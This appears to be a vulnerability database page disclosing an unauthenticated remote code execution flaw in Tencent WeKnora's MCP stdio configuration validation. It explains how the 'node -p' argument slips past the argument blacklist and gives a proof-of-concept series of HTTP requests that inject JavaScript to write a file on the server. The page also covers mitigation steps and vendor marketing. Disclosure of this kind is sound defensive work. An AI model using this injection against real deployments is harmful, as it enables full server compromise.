Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-r55h-3rwj-hcmg

CRITICAL

WeKnora has Remote Code Execution (RCE) via Command Injection in MCP Stdio Configuration Validation

Also known asCVE-2026-30861GO-2026-4645
Published
Mar 7, 2026
Updated
Mar 23, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
2.1%probability of exploitation in next 30 days
Lower Risk79th percentile+1.97%
0.00%0.88%1.77%2.65%0.1%0.1%0.1%2.1%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/Tencent/WeKnora

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5.

The application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (npx, uvx) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the -p flag with npx node. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise.

The vulnerability remained unfixed across multiple releases (2.0.6-2.0.9) before being silently patched in version 2.0.10, without a published CVE, potentially leaving customers unaware.

Details

The application's open registration policy, combined with the vulnerable MCP stdio configuration, creates an unrestricted attack surface. Any attacker can:

  1. Register a new account without restrictions (no email verification, approval process, or rate limiting mentioned)
  2. Obtain API authentication credentials
  3. Exploit the command injection vulnerability to execute arbitrary code

The security patch introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb attempts to prevent command injection through:

  1. Command Whitelist: Only uvx and npx are allowed
  2. Argument Blacklist: Blocks dangerous patterns including shells, command chaining, and path traversal
  3. Environment Variable Blacklist: Restricts sensitive variables like LD_PRELOAD, PATH, etc.

However, the patch has a critical flaw: the -p flag in npx node is not explicitly blocked in the DangerousArgPatterns regex list. The -p flag allows Node.js to evaluate and execute arbitrary JavaScript code, effectively bypassing the argument validation.

The vulnerable code flow:

  • ValidateStdioConfig() calls ValidateStdioArgs(args)
  • ValidateStdioArgs() checks each argument against DangerousArgPatterns
  • The pattern list does not include -p or similar execution flags
  • Arguments like ["node", "-p", "require('fs').writeFileSync(...)"] pass validation
  • When executed, npx node -p <payload> executes the JavaScript payload

Timeline of Concern:

  • Version 2.0.5: Initial patch introducing validation (incomplete/bypassable)
  • Versions 2.0.6-2.0.9: Vulnerability persists with no public notification
  • Version 2.0.10 (commit 57d6fea8bc265ad28b385e0158957c870cff4b50): Stdio-based MCP server is disabled entirely.
  • Issue: The hot fix was deployed silently without a CVE publication or security advisory, meaning customers using versions 2.0.5-2.0.9 remained unaware of the critical vulnerability

This silent fix pattern poses significant risks:

  • Customers may not know to update immediately
  • Security scanning tools may not flag the vulnerability without a published CVE
  • Organisations relying on vendor advisories have no record of the issue
  • There is no documented attack history or mitigation guidance for affected versions

PoC

Step 1: Register a new account (unauthenticated)

Step 2: Create a malicious MCP service

POST /api/v1/mcp-services HTTP/1.1
Host: localhost:8080
Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]
Content-Type: application/json

{
    "name":"rce",
    "description":"rce",
    "enabled":true,
    "transport_type":"stdio",
    "stdio_config":{
        "command":"npx",
        "args":["node","-p","require('fs').writeFileSync('/tmp/pwned.txt', 'Hacked by attacker')"]
    },
    "env_vars":{}
}

Response will contain the service ID (e.g., 087854f4-bde3-4468-8702-4aeb95c868da)

Step 3: Trigger the RCE by testing the service

POST /api/v1/mcp-services/087854f4-bde3-4468-8702-4aeb95c868da/test HTTP/1.1
Host: localhost:8080
Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]
Content-Type: application/json

{}

Step 4: Verify exploitation

On the server, the file /tmp/pwned.txt will be created with content "Hacked by attacker", confirming arbitrary command execution.

Impact

Severity: Critical

Unauthenticated RCE allowing complete server compromise. An attacker can register an account and execute arbitrary commands with full application privileges.

  • Full data breach and system compromise
  • Install malware, backdoors, ransomware
  • Lateral movement to internal systems
  • Versions 2.0.5-2.0.9 vulnerable without notification

Immediate Actions:

  1. Upgrade to 2.0.10+ immediately
  2. Review logs for exploitation since 2.0.5
  3. Check for suspicious MCP configurations
  4. Monitor for unauthorized file creation
  5. Assume breach if compromise suspected

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/Tencent/WeKnora0.2.5&&< 0.2.100.2.10

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/Tencent/WeKnora. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/Tencent/WeKnora to 0.2.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r55h-3rwj-hcmg is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-r55h-3rwj-hcmg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-r55h-3rwj-hcmg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5. The application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (`npx`, `uvx`) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the `-p` flag with `npx node`. This allows any attacker to execute arbitrary commands with the application's privileges, leading
O3 Security · Impact-Aware SCA

Is GHSA-r55h-3rwj-hcmg in your dependencies?

O3 detects GHSA-r55h-3rwj-hcmg across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.